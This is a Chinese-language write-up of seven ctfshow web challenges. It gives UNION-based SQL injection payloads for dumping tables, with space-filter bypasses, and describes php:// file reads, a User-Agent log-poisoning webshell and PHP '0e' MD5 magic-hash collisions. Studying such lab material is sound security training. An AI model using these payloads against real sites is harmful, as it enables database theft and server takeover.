1. web1
2. web2
3. web3
4. web4
5. web5
6. web6
7. web7
第一关
第一关很简单,启动环境,进入连接后,页面问,flag在哪里,直接按F12查看源码。
将这个加密字符串,解密后就是flag了。
ctfshow{dfbcb744-e937-4b08-9858-0a70274d3229}
第二关
很明显是sql注入,应为这里是登录,我们使用select 判断输出位。
1'or 1=1 union select 1,2,3;#
查询当前使用数据库-web2
-1'union select 1,database(),3;#
查询所有的表
-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3;#
查询flag表字段名
-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='web2'),3;#
查询flag数据
-1'union select 1,(select group_concat(flag) from web2.flag),3;#
ctfshow{30106bc0-f0f3-4a4a-8b53-a88a2c4d9ca7}
第三关
根据靶机页面提示,可知到,本关卡考点是任意文件读取。
这里我们使用php的伪协议中的php://,来读取和执行我们的命令。
关于php伪协议,可以下面这偏文章:
https://blog.csdn.net/m0_73720136/article/details/130543930
执行了ls命令之后,我们可以看到出现了两个文件。我们读取这个ctf_go_go_go文件。
ctfshow{1c2b9571-4339-48cf-94a3-196c6ac08686}
第四关
这一关依旧是文件读取,但是发现伪协议不行了
这里读取当前环境的日志文件,读取成功,那么可以使用日志注入webshell。我们写入的php一句话会被解析从而实现shell的写入。
BP抓包,在UA头写入webshell一句话木马。然后放包访问。
然后使用一句话木马连接。成功找到flag。
ctfshow{a55835a0-d14e-44f0-9ac1-ebea1e77245e}
第五关
根据提示源码,需要输入两个参数,v1,v2。且v2是数字,v1是字符串,且它们的md5值需相同。
该靶场环境是php搭建的。
故:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
以下是两个md5以0E开头的字符串和数字。
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
输入即可
第六关
看页面,肯定是sql注入无疑了。
fuzz了一下,发现过滤了空格。
空格被过滤了,可以使用 ()或者/**/行内注释进行绕过。
已经发现过滤,和已经成功绕过,后面的就好办了,重复写sql就行了。
这里是登录,不能使用order by进行探测。可以直接使用 union select 1,2,3……进行探测输出位。
获取数据库
1'union(select(1),database(),3)#
获取表
1'union(select(1),(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),3);#
获取表字段
1'union(select(1),(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flag')),3);#
获取数据
1'union(select(1),(select(flag)from(web2.flag)),3);#
flag
ctfshow{665fcdc5-e8d2-42ee-81ff-a9818bbffe86}
第七关
点击文章发现该靶场是以get方式的传参,无疑是sql注入了。
但经过fuzz发现,过滤了空格和()
但是我们依然可以使用//进行绕过**
查当前所使用的数据库
1'/**/union/**/select/**/1,database(),3#
查表名字
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3#
查字段名字
1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#
查数据
1'/**/union/**/select/**/1,(select/**/flag/**/from/**/web7.flag),3#
ctfshow{7aea9b9d-aa46-416c-927f-3eed7b486156}